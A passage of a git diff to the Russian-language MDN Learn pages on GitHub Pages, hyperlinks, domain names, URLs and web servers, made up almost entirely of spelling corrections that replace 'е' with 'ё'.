в каталог: <code>Public/htdocs</code>." Вам нужно перейти в указанный каталог на правой панели. Этот каталог фактически является корнем вашего веб-сайта, где находятся ваши <code>index.html</code> , откуда ваши файл и другие активы будут отправлены.</p> -<p>После того, как вы нашли правильный удаленный каталог для размещения файлов, чтобы загрузить файлы на сервер, вам необходимо переместить их с левой панели на правую.</p> +<p>После того, как вы нашли правильный удалённый каталог для размещения файлов, чтобы загрузить файлы на сервер, вам необходимо переместить их с левой панели на правую.</p> <h3 id="Как_узнать_что_они_online">Как узнать, что они online?</h3> diff --git a/files/ru/learn/common_questions/using_github_pages/index.html b/files/ru/learn/common_questions/using_github_pages/index.html index d32300b1fe..b4d4c2e05c 100644 --- a/files/ru/learn/common_questions/using_github_pages/index.html +++ b/files/ru/learn/common_questions/using_github_pages/index.html @@ -7,19 +7,19 @@ translation_of: Learn/Common_questions/Using_Github_pages <h2 id="Публикация_контента">Публикация контента</h2> -<p>GitHub - очень важное и полезное сообщество для участия, а Git/GitHub - очень популярная система управления версиями (<a href="http://git-scm.com/book/en/v2/Getting-Started-About-Version-Control">version control system</a>) - большинство технологических компаний теперь используют ее в своем рабочем процессе. GitHub имеет очень полезную функцию <a href="https://pages.github.com/">GitHub Pages</a>, которая позволяет публиковать код сайта в прямом эфире в Интернете.</p> +<p>GitHub - очень важное и полезное сообщество для участия, а Git/GitHub - очень популярная система управления версиями (<a href="http://git-scm.com/book/en/v2/Getting-Started-About-Version-Control">version control system</a>) - большинство технологических компаний теперь используют её в своём рабочем процессе. GitHub имеет очень полезную функцию <a href="https://pages.github.com/">GitHub Pages</a>, которая позволяет публиковать код сайта в прямом эфире в Интернете.</p> <h3 id="Базовая_установка_Github">Базовая установка Github</h3> <ol> <li>Прежде всего, <a href="https://git-scm.com/downloads">установите Git</a> на свой компьютер. Это базовое программное обеспечение для управления версиями, GitHub работает поверх него.</li> - <li>Затем <a href="https://github.com/">зарегистрируйтесь в учетной записи GitHub</a>. Это просто и легко.</li> + <li>Затем <a href="https://github.com/">зарегистрируйтесь в учётной записи GitHub</a>. Это просто и легко.</li> <li>После того, как вы зарегистрировались, войдите в <a href="https://github.com">github.com</a> с вашим именем пользователя и паролем.</li> </ol> <h3 id="Подготовка_кода_для_загрузки">Подготовка кода для загрузки</h3> -<p>Вы можете хранить любой код, который вам нравится, в репозитории Github, но для полнофункционального использования функции GitHub Pages ваш код должен быть структурирован как типичный веб-сайт, причем основной точкой входа является HTML-файл с именем <code>index.html</code>.</p> +<p>Вы можете хранить любой код, который вам нравится, в репозитории Github, но для полнофункционального использования функции GitHub Pages ваш код должен быть структурирован как типичный веб-сайт, причём основной точкой входа является HTML-файл с именем <code>index.html</code>.</p> <p>Другое, что вам нужно сделать, прежде чем двигаться дальше - это инициализировать вашу кодовую директорию как репозиторий Git. Сделать это:</p> @@ -35,7 +35,7 @@ translation_of: Learn/Common_questions/Using_Github_pages <h4 id="В_сторону_интерфейсов_командной_строки">В сторону интерфейсов командной строки</h4> -<p>Лучший способ загрузить код в Github - через командную строку - это окно, в котором вы вводите команды, чтобы делать такие вещи, как создавать файлы и запускать программы, а не щелкать внутри пользовательского интерфейса. Он будет выглядеть примерно так:</p> +<p>Лучший способ загрузить код в Github - через командную строку - это окно, в котором вы вводите команды, чтобы делать такие вещи, как создавать файлы и запускать программы, а не щёлкать внутри пользовательского интерфейса. Он будет выглядеть примерно так:</p> <p><img alt="" src="https://mdn.mozillademos.org/files/9483/command-line.png" style="display: block; height: 478px; margin: 0px auto; width: 697px;"></p> @@ -46,7 +46,7 @@ translation_of: Learn/Common_questions/Using_Github_pages <p>Каждая операционная система поставляется с инструментом командной строки:</p> <ul> - <li><strong>Windows: Командная строка</strong> (<strong>Command Prompt)</strong> может быть получена нажатием клавиши Windows, набрав <em>Command Prompt</em> и выбрав ее из появившегося списка. Обратите внимание, что Windows имеет свои собственные условные обозначения команд, отличные от Linux и OS X, поэтому приведенные ниже команды могут отличаться на вашем компьютере.</li> + <li><strong>Windows: Командная строка</strong> (<strong>Command Prompt)</strong> может быть получена нажатием клавиши Windows, набрав <em>Command Prompt</em> и выбрав её из появившегося списка. Обратите внимание, что Windows имеет свои собственные условные обозначения команд, отличные от Linux и OS X, поэтому приведённые ниже команды могут отличаться на вашем компьютере.</li> <li><strong>OS X: Терминал</strong> (<strong>Terminal)</strong> можно найти в <em>Applications > Utilities</em>.</li> <li><strong>Linux: </strong>Обычно вы можете вытащить терминал с помощью <em>Ctrl + Alt + T</em>. Если это не сработает, найдите <strong>Terminal</strong> в панели приложений или меню.</li> </ul> @@ -60,14 +60,14 @@ translation_of: Learn/Common_questions/Using_Github_pages <li>На этой странице в поле Имя репозитория (<em>Repository name</em>) введите имя для своего репозитория, например <em>my-repository</em>.</li> <li>Также добавьте описание, чтобы сказать, что будет содержать ваш репозиторий. Ваш экран должен выглядеть так:<br> <img alt="" src="https://mdn.mozillademos.org/files/12143/create-new-repo.png" style="display: block; height: 548px; margin: 0px auto; width: 800px;"></li> - <li>Нажмите Создать репозиторий (<em>Create repository</em>); это приведет вас к следующей странице:<br> + <li>Нажмите Создать репозиторий (<em>Create repository</em>); это приведёт вас к следующей странице:<br> <img alt="" src="https://mdn.mozillademos.org/files/12141/github-repo.png" style="display: block; height: 520px; margin: 0px auto; width: 800px;"></li> </ol> <h3 id="Загрузка_файлов_на_GitHub">Загрузка файлов на GitHub</h3> <ol> - <li>На текущей странице вас интересует раздел <em>…or push an existing repository from the command line</em> (...или нажмите существующий репозиторий из командной строки). Вы должны увидеть две строки кода, перечисленные в этом разделе. Скопируйте всю первую строку, вставьте ее в командную строку и нажмите Enter. Команда должна выглядеть примерно так: + <li>На текущей странице вас интересует раздел <em>…or push an existing repository from the command line</em> (...или нажмите существующий репозиторий из командной строки). Вы должны увидеть две строки кода, перечисленные в этом разделе. Скопируйте всю первую строку, вставьте её в командную строку и нажмите Enter. Команда должна выглядеть примерно так: <pre class="copyable-terminal-content js-zeroclipboard-target"><span class="user-select-contain">git remote add origin <span class="js-live-clone-url">https://github.com/chrisdavidmills/my-repository.git</span></span></pre> </li> @@ -78,9 +78,9 @@ git commit -m 'adding my files to my repository'</pre> <li>Наконец, нажмите код до GitHub, перейдя на веб-страницу GitHub, на которой вы находитесь, и введите в терминал вторую из двух команд, которые мы увидели <em>…or push an existing repository from the command line</em>: <pre class="brush: bash">git push -u origin master</pre> </li> - <li>Теперь вам нужно создать ветвь gh-pages вашего repo; обновите текущую страницу и вы увидите страницу репозитория, как показано ниже. Вам нужно нажать кнопку, в которой говорится о <em>Branch: <strong>master</strong></em>, введите <em>gh-pages</em> в текстовом вводе, затем нажмите синюю кнопку с надписью <em>Create branch: gh-pages</em>. Это создает специальную ветвь кода, называемую gh-pages, которая публикуется в специальном месте. URL-адрес принимает форму <em>username.github.io/my-repository-name</em>, поэтому в моем примере URL-адрес будет <em>https://chrisdavidmills.github.io/my-repository</em>. Отображаемая страница - это страница index.html.<br> + <li>Теперь вам нужно создать ветвь gh-pages вашего repo; обновите текущую страницу и вы увидите страницу репозитория, как показано ниже. Вам нужно нажать кнопку, в которой говорится о <em>Branch: <strong>master</strong></em>, введите <em>gh-pages</em> в текстовом вводе, затем нажмите синюю кнопку с надписью <em>Create branch: gh-pages</em>. Это создаёт специальную ветвь кода, называемую gh-pages, которая публикуется в специальном месте. URL-адрес принимает форму <em>username.github.io/my-repository-name</em>, поэтому в моем примере URL-адрес будет <em>https://chrisdavidmills.github.io/my-repository</em>. Отображаемая страница - это страница index.html.<br> <img alt="" src="https://mdn.mozillademos.org/files/12145/repo-site.png" style="display: block; margin: 0 auto;"></li> - <li>Перейдите на веб-адрес GitHub Pages на новой вкладке браузера, и вы должны увидеть свой сайт онлайн! Отправьте его по электронной почте своим друзьям и продемонстрируйте свое мастерство.</li> + <li>Перейдите на веб-адрес GitHub Pages на новой вкладке браузера, и вы должны увидеть свой сайт онлайн! Отправьте его по электронной почте своим друзьям и продемонстрируйте своё мастерство.</li> </ol> <div class="note"> @@ -89,7 +89,7 @@ git commit -m 'adding my files to my repository'</pre> <h3 id="Дальнейшее_знание_GitHub">Дальнейшее знание GitHub</h3> -<p>Если вы хотите сделать больше изменений на своем тестовом сайте и загрузить их на GitHub, вам просто нужно внести изменения в свои файлы, как и раньше. Затем вам нужно ввести следующие команды (нажав Enter после каждого), чтобы вставить эти изменения в GitHub:</p> +<p>Если вы хотите сделать больше изменений на своём тестовом сайте и загрузить их на GitHub, вам просто нужно внести изменения в свои файлы, как и раньше. Затем вам нужно ввести следующие команды (нажав Enter после каждого), чтобы вставить эти изменения в GitHub:</p> <pre>git add --all git commit -m 'another commit' diff --git a/files/ru/learn/common_questions/what_are_hyperlinks/index.html b/files/ru/learn/common_questions/what_are_hyperlinks/index.html index c53a95d6ac..e422ec2bd6 100644 --- a/files/ru/learn/common_questions/what_are_hyperlinks/index.html +++ b/files/ru/learn/common_questions/what_are_hyperlinks/index.html @@ -37,11 +37,11 @@ original_slug: Learn/Understanding_links_on_the_web <li>{{Glossary("HTML")}}, формат документа, позволяющий встраивать <em>гиперссылки</em></li> </ol> -<p>Как вы видите, все в Вебе крутится вокруг документов и способах обеспечения доступа к ним. Первоначальная цель Веба заключалась в предоставлении легкого инструмента доступа к текстовым документам, их чтения и навигации по ним. С тех пор Веб эволюционировал в инструмент обеспечения доступа к изображениям, видео и бинарным данным, но все эти улучшения вряд ли были бы возможны без тех самых трёх китов, о которых говорил Тим. </p> +<p>Как вы видите, все в Вебе крутится вокруг документов и способах обеспечения доступа к ним. Первоначальная цель Веба заключалась в предоставлении лёгкого инструмента доступа к текстовым документам, их чтения и навигации по ним. С тех пор Веб эволюционировал в инструмент обеспечения доступа к изображениям, видео и бинарным данным, но все эти улучшения вряд ли были бы возможны без тех самых трёх китов, о которых говорил Тим. </p> <p>До Веба было весьма сложно получить доступ к документам и перемещаться от одного к другому. Став понятными для пользователя, URL-адреса уже сделали жизнь гораздо проще, но нам довольно сложно было печатать длинный URL каждый раз, когда мы хотели получить документ. Вот тут то гиперссылки и совершили революцию. Ссылка может связать любой текст с URL, так что пользователь может моментально достигнуть цели всего лишь активируя ссылку.</p> -<p>По умолчанию голубого цвета и подчёркнутые, ссылки выделяются из общего текста. Кликните на ссылку, чтобы активировать ее, или, если вы используете клавиатуру, перейдите на ссылку при помощи Tab и нажмите Enter.</p> +<p>По умолчанию голубого цвета и подчёркнутые, ссылки выделяются из общего текста. Кликните на ссылку, чтобы активировать её, или, если вы используете клавиатуру, перейдите на ссылку при помощи Tab и нажмите Enter.</p> <p><img alt="Example of a basic display and effect of a link in a web page" src="https://mdn.mozillademos.org/files/8625/link-1.png" style="height: 492px; width: 477px;"></p> @@ -53,7 +53,7 @@ original_slug: Learn/Understanding_links_on_the_web <h2 id="Глубокое_погружение">Глубокое погружение</h2> -<p>Как мы определили, ссылка <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,Helvetica,sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;">— </span><strong style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,Helvetica,sans-serif; font-size: 28px; font-style: normal; font-variant: normal; font-weight: 700; letter-spacing: normal; line-height: 1.2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;"> </strong>это строка, которая связана с URL. Мы используем ссылки, чтобы с легкостью перепрыгивать с одного документа на другой. Здесь существуют некоторые нюансы, которые важно рассмотреть: </p> +<p>Как мы определили, ссылка <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,Helvetica,sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;">— </span><strong style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,Helvetica,sans-serif; font-size: 28px; font-style: normal; font-variant: normal; font-weight: 700; letter-spacing: normal; line-height: 1.2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;"> </strong>это строка, которая связана с URL. Мы используем ссылки, чтобы с лёгкостью перепрыгивать с одного документа на другой. Здесь существуют некоторые нюансы, которые важно рассмотреть: </p> <h3 id="Типы_ссылок">Типы ссылок</h3> @@ -66,7 +66,7 @@ original_slug: Learn/Understanding_links_on_the_web <dd>Ссылка с чьей-либо веб-страницы на ваш сайт. Это внешняя ссылка наоборот. Имейте в виду, что вам не обязательно отвечать тем же кому-то, кто ссылается на ваш сайт.</dd> </dl> -<p>Когда вы создаёте веб-сайт, фокусируйтесь на внутренних ссылках, так как они делают ваш сайт возможным и удобным для использования. Найдите нужный баланс между большим и недостаточным количеством ссылок. Мы поговорим о дизайне навигации сайта в другой статье, но в качестве правила, каждый раз когда вы создаете веб-страницу, убедитесь, что хотя бы одна из ваших страниц ссылается на неё. С другой стороны, если на вашем сайте более чем десять страниц, добиваться того, чтобы каждая страница ссылалась друг на друга, может быть весьма контрпродуктивно. </p> +<p>Когда вы создаёте веб-сайт, фокусируйтесь на внутренних ссылках, так как они делают ваш сайт возможным и удобным для использования. Найдите нужный баланс между большим и недостаточным количеством ссылок. Мы поговорим о дизайне навигации сайта в другой статье, но в качестве правила, каждый раз когда вы создаёте веб-страницу, убедитесь, что хотя бы одна из ваших страниц ссылается на неё. С другой стороны, если на вашем сайте более чем десять страниц, добиваться того, чтобы каждая страница ссылалась друг на друга, может быть весьма контрпродуктивно. </p> <p>Когда вы начинаете, вам не имеет смысла сильно волноваться о наличии внешних и входящих ссылок, но они важны, если вы хотите, чтобы поисковые системы находили ваш сайт. (См. более детальное объяснение ниже.)</p> diff --git a/files/ru/learn/common_questions/what_is_a_domain_name/index.html b/files/ru/learn/common_questions/what_is_a_domain_name/index.html index f60b9b53cf..2d77b02fcd 100644 --- a/files/ru/learn/common_questions/what_is_a_domain_name/index.html +++ b/files/ru/learn/common_questions/what_is_a_domain_name/index.html @@ -31,7 +31,7 @@ original_slug: Learn/Understanding_domain_names <p><span class="seoSummary">Доменные имена - ключевая составляющая инфраструктуры Интернета. Они предоставляют человеко-читаемые адреса веб-серверов, доступных в Интернете.</span></p> -<p>Каждый компьютер подключен к Интернету и может быть доступен через публичный {{Glossary("IP")}}-адрес, который состоит из 32 бит для IPv4 адреса (такие адреса обычно записываются в виде четырёх чисел от 0 до 255, разделённых точками (напр.., <code>173.194.121.32</code>) или 128 bit для IPv6 адреса (они обычно записываются в виде 8 групп по 4 шестнадцатеричных чисел, разделенных двоеточиями (напр., <code>2027:0da8:8b73:0000:0000:8a2e:0370:1337</code>). Компьютеры могут легко обрабатывать эти адреса , но у живых людей уходит слишком много времени на использование таких адресов. IP-адреса также сложно запоминаются и часто меняются со временем. Для решения этой проблемы в Интернете используются человеко-читаемые адреса, называемые доменными именами.</p> +<p>Каждый компьютер подключён к Интернету и может быть доступен через публичный {{Glossary("IP")}}-адрес, который состоит из 32 бит для IPv4 адреса (такие адреса обычно записываются в виде четырёх чисел от 0 до 255, разделённых точками (напр.., <code>173.194.121.32</code>) или 128 bit для IPv6 адреса (они обычно записываются в виде 8 групп по 4 шестнадцатеричных чисел, разделённых двоеточиями (напр., <code>2027:0da8:8b73:0000:0000:8a2e:0370:1337</code>). Компьютеры могут легко обрабатывать эти адреса , но у живых людей уходит слишком много времени на использование таких адресов. IP-адреса также сложно запоминаются и часто меняются со временем. Для решения этой проблемы в Интернете используются человеко-читаемые адреса, называемые доменными именами.</p> <h2 id="Активно_изучаем">Активно изучаем</h2> @@ -41,7 +41,7 @@ original_slug: Learn/Understanding_domain_names <h3 id="Структура_доменных_имён">Структура доменных имён</h3> -<p>Доменное имя имеет простую структуру, состоящую из нескольких частей (частей может быть бесконечное количество, но на практике число уровней обычно невелико), разделенных точками и <strong>читаемых справа налево</strong>:</p> +<p>Доменное имя имеет простую структуру, состоящую из нескольких частей (частей может быть бесконечное количество, но на практике число уровней обычно невелико), разделённых точками и <strong>читаемых справа налево</strong>:</p> <p><img alt="Anatomy of the MDN domain name" src="https://mdn.mozillademos.org/files/11229/structure.png" style="height: 76px; width: 252px;"></p> @@ -126,7 +126,7 @@ NOT FOUND <h4 id="Обновление_DNS">Обновление DNS</h4> -<p>Базы данных DNS хранятся на каждом DNS-сервере по всему миру и эти серверы обращаются за обновлениями к нескольким серверам, называемым “authoritative name server” или “корневой DNS-сервер”. Когда ваш регистратор создаёт или обновляет информацию о зарегистрированном домене, она должна обновиться во всех DNS-базах. Каждый DNS-сервер хранит информацию о домене фиксированное количество времени, а затем автоматически обновляет её (DNS-сервер запрашивает корневой сервер снова). Соответственно, обновление баз занимает какое-то время, пока информация о новых или измененных доменах распространяется по Интернету.</p> +<p>Базы данных DNS хранятся на каждом DNS-сервере по всему миру и эти серверы обращаются за обновлениями к нескольким серверам, называемым “authoritative name server” или “корневой DNS-сервер”. Когда ваш регистратор создаёт или обновляет информацию о зарегистрированном домене, она должна обновиться во всех DNS-базах. Каждый DNS-сервер хранит информацию о домене фиксированное количество времени, а затем автоматически обновляет её (DNS-сервер запрашивает корневой сервер снова). Соответственно, обновление баз занимает какое-то время, пока информация о новых или изменённых доменах распространяется по Интернету.</p> <div class="note"> <p><strong>Примечание:</strong> Это время часто называется <strong>время распространения</strong>. Тем не менее эта задержка не означает, что за это время доменное имя обновит само себя на всех серверах сверху донизу. Очень часто DNS-сервер, запрашиваемый вашим компьютером не знает конкретного домена и запрашивает о нём корневые DNS-сервера по мере требования.</p> @@ -134,7 +134,7 @@ NOT FOUND <h3 id="Как_работает_DNS-запрос">Как работает DNS-запрос?</h3> -<p>Как мы уже увидели, когда вы хотите, чтобы веб-страница отобразилась в вашем браузере, легче напечатать доменное имя, чем IP-адрес. Давайте разберем весь процесс:</p> +<p>Как мы уже увидели, когда вы хотите, чтобы веб-страница отобразилась в вашем браузере, легче напечатать доменное имя, чем IP-адрес. Давайте разберём весь процесс:</p> <ol> <li>Напечатайте <code>mozilla.org</code> в адресной строке вашего браузера.</li> diff --git a/files/ru/learn/common_questions/what_is_a_url/index.html b/files/ru/learn/common_questions/what_is_a_url/index.html index 5c9716f463..dfa4941a67 100644 --- a/files/ru/learn/common_questions/what_is_a_url/index.html +++ b/files/ru/learn/common_questions/what_is_a_url/index.html @@ -33,7 +33,7 @@ original_slug: Learn/Understanding_URLs <p>Наряду с понятиями <a href="/ru/docs/Glossary/Hypertext">гипертекста</a> и <a href="/ru/docs/Glossary/HTTP">протокола HTTP</a>, понятие <a href="ru/docs/Glossary/URL">URL</a> является одной из основных концепций Всемирной паутины. Это механизм, используемый <a href="ru/docs/Glossary/Browser">браузерами</a> для получения любого опубликованного во Всемирной сети ресурса.</p> -<p><strong>URL</strong> обозначает <em>Uniform Resource Locator</em>. URL это лишь адрес, который выдан уникальному ресурсу в интернете. В теории, каждый корректный URL ведет на уникальный ресурс. Такими ресурсами могут быть HTML-страница, CSS-файл, изображение и т.д. На практике, существуют некоторые исключения, когда, например, URL ведет на ресурс, который больше не существует или который был перемещён. Поскольку ресурс, доступный по URL, а также сам URL обрабатываются веб-сервером, его владелец должен внимательно следить за размещаемыми ресурсами и связанными с ними URL.</p> +<p><strong>URL</strong> обозначает <em>Uniform Resource Locator</em>. URL это лишь адрес, который выдан уникальному ресурсу в интернете. В теории, каждый корректный URL ведёт на уникальный ресурс. Такими ресурсами могут быть HTML-страница, CSS-файл, изображение и т.д. На практике, существуют некоторые исключения, когда, например, URL ведёт на ресурс, который больше не существует или который был перемещён. Поскольку ресурс, доступный по URL, а также сам URL обрабатываются веб-сервером, его владелец должен внимательно следить за размещаемыми ресурсами и связанными с ними URL.</p> <h2 id="Активное_обучение">Активное обучение</h2> @@ -101,7 +101,7 @@ https://developer.mozilla.org/ru/search?q=URL</pre> <p>Когда URL используется в документе, например в HTML-странице, ситуация отличается. Потому что браузер уже знает URL текущего документа и он может использовать эти сведения для дополнения недостающих частей любого адреса, указанного в документе. Простейший пример <em>относительного</em> URL - указание только <em>адресной части</em> URL. А если адрес в URL начинается с символа <code>"/</code>", браузер запросит ресурс от корня сервера, без отсылки к контексту текущего документа.</p> -<p>Разберем это на примерах.</p> +<p>Разберём это на примерах.</p> <h4 id="Примеры_абсолютных_URL">Примеры абсолютных URL</h4> @@ -139,7 +139,7 @@ https://developer.mozilla.org/ru/search?q=URL</pre> <dd> <pre>../CSS/display</pre> - <p>В этом случае, мы используем команду <code>../</code> — унаследованную из файловой системы UNIX — чтобы сказать браузеру, что он должен подняться на 1 директорию вверх. Соответственно, здесь мы хотим открыть URL: <code>https://developer.mozilla.org/ru/docs/Learn/../CSS/display</code>, который может быть упрощен до вида: <code>https://developer.mozilla.org/ru/docs/CSS/display</code></p> + <p>В этом случае, мы используем команду <code>../</code> — унаследованную из файловой системы UNIX — чтобы сказать браузеру, что он должен подняться на 1 директорию вверх. Соответственно, здесь мы хотим открыть URL: <code>https://developer.mozilla.org/ru/docs/Learn/../CSS/display</code>, который может быть упрощён до вида: <code>https://developer.mozilla.org/ru/docs/CSS/display</code></p> </dd> </dl> @@ -158,5 +158,5 @@ https://developer.mozilla.org/ru/search?q=URL</pre> <h2 id="Следующие_шаги">Следующие шаги</h2> <ul> - <li><a href="/ru/docs/Learn/Understanding_domain_names">Понимание доменных имен</a></li> + <li><a href="/ru/docs/Learn/Understanding_domain_names">Понимание доменных имён</a></li> </ul> diff --git a/files/ru/learn/common_questions/what_is_a_web_server/index.html b/files/ru/learn/common_questions/what_is_a_web_server/index.html index f2586aff5a..aedb2fffec 100644 --- a/files/ru/learn/common_questions/what_is_a_web_server/index.html +++ b/files/ru/learn/common_questions/what_is_a_web_server/index.html @@ -34,17 +34,17 @@ original_slug: Learn/Что_такое_веб_сервер <p>Понятие <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">«</span>веб-сервер<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">»</span> может относиться как к аппаратной начинке, так и к программному обеспечению. Или даже к обеим частям, работающим совместно.</p> <ol> - <li>С точки зрения "железа", <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">«</span>веб-сервер<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">»</span> — это компьютер, который хранит файлы сайта (HTML-документы, CSS-стили, JavaScript-файлы, картинки и другие) и доставляет их на устройство конечного пользователя (веб-браузер и т.д.). Он подключен к сети Интернет и может быть доступен через доменное имя, подобное <code>mozilla.org</code>.</li> - <li>С точки зрения ПО, <cite>веб-сервер</cite> включает в себя несколько компонентов, которые контролируют доступ веб-пользователей к размещенным на сервере файлам, как минимум — это <em><cite>HTTP-сервер</cite></em>. <cite>HTTP-сервер</cite> — это часть ПО, которая понимает {{Glossary("URL","URL-адреса")}} (веб-адреса) и {{Glossary("HTTP")}} (протокол, который ваш браузер использует для просмотра веб-страниц).</li> + <li>С точки зрения "железа", <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">«</span>веб-сервер<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">»</span> — это компьютер, который хранит файлы сайта (HTML-документы, CSS-стили, JavaScript-файлы, картинки и другие) и доставляет их на устройство конечного пользователя (веб-браузер и т.д.). Он подключён к сети Интернет и может быть доступен через доменное имя, подобное <code>mozilla.org</code>.</li> + <li>С точки зрения ПО, <cite>веб-сервер</cite> включает в себя несколько компонентов, которые контролируют доступ веб-пользователей к размещённым на сервере файлам, как минимум — это <em><cite>HTTP-сервер</cite></em>. <cite>HTTP-сервер</cite> — это часть ПО, которая понимает {{Glossary("URL","URL-адреса")}} (веб-адреса) и {{Glossary("HTTP")}} (протокол, который ваш браузер использует для просмотра веб-страниц).</li> </ol> -<p>На самом базовом уровне, когда браузеру нужен файл, размещенный на веб-сервере, браузер запрашивает его через HTTP-протокол. Когда запрос достигает нужного веб-сервера ("железо"), сервер HTTP (ПО) принимает запрос, находит запрашиваемый документ (если нет, то сообщает об ошибке <a href="/ru/docs/Web/HTTP/Status/404">404</a>) и отправляет обратно, также через HTTP.</p> +<p>На самом базовом уровне, когда браузеру нужен файл, размещённый на веб-сервере, браузер запрашивает его через HTTP-протокол. Когда запрос достигает нужного веб-сервера ("железо"), сервер HTTP (ПО) принимает запрос, находит запрашиваемый документ (если нет, то сообщает об ошибке <a href="/ru/docs/Web/HTTP/Status/404">404</a>) и отправляет обратно, также через HTTP.</p> <p><img alt="Basic representation of a client/server connection through HTTP" src="https://mdn.mozillademos.org/files/8659/web-server.svg" style="height: 200px; width: 600px;"></p> <p>Чтобы опубликовать веб-сайт, необходим либо статический, либо динамический веб-сервер.</p> -<p><strong>Статический веб-сервер</strong>, или стек, состоит из компьютера ("железо") с сервером HTTP (ПО). Мы называем это <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">«</span>статикой<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">»</span>, потому что сервер посылает размещенные файлы в браузер <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">«</span>как есть<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">»</span>.</p> +<p><strong>Статический веб-сервер</strong>, или стек, состоит из компьютера ("железо") с сервером HTTP (ПО). Мы называем это <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">«</span>статикой<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">»</span>, потому что сервер посылает размещённые файлы в браузер <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">«</span>как есть<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">»</span>.</p> <p><strong>Динамический веб-сервер</strong> состоит из статического веб-сервера и дополнительного программного обеспечения, чаще всего <em>сервера приложения </em>и <em>базы данных</em>. Мы называем его <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">«</span>динамическим<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">»</span>, потому что сервер приложений изменяет исходные файлы перед отправкой в ваш браузер по HTTP.</p> @@ -56,17 +56,17 @@ original_slug: Learn/Что_такое_веб_сервер <h2 id="Погружаемся_глубже">Погружаемся глубже</h2> -<p>Чтобы загрузить веб-страницу, как мы уже говорили, ваш браузер отправляет запрос к веб-серверу, который приступает к поиску запрашиваемого файла в своем собственном пространстве памяти. Найдя файл, сервер считывает его, обрабатывает как ему это необходимо, и отсылает в браузер. Давайте рассмотрим эти шаги более подробно.</p> +<p>Чтобы загрузить веб-страницу, как мы уже говорили, ваш браузер отправляет запрос к веб-серверу, который приступает к поиску запрашиваемого файла в своём собственном пространстве памяти. Найдя файл, сервер считывает его, обрабатывает как ему это необходимо, и отсылает в браузер. Давайте рассмотрим эти шаги более подробно.</p> <h3 id="Хостинг_файлов">Хостинг файлов</h3> <p>Прежде всего, веб-сервер должен содержать файлы веб-сайта, а именно все HTML-документы и связанные с ними ресурсы, включая изображения, CSS-стили, JavaScript-файлы, шрифты и видео.</p> -<p>Технически, вы можете разместить все эти файлы на своем компьютере, но гораздо удобнее хранить их на выделенном веб-сервере, который:</p> +<p>Технически, вы можете разместить все эти файлы на своём компьютере, но гораздо удобнее хранить их на выделенном 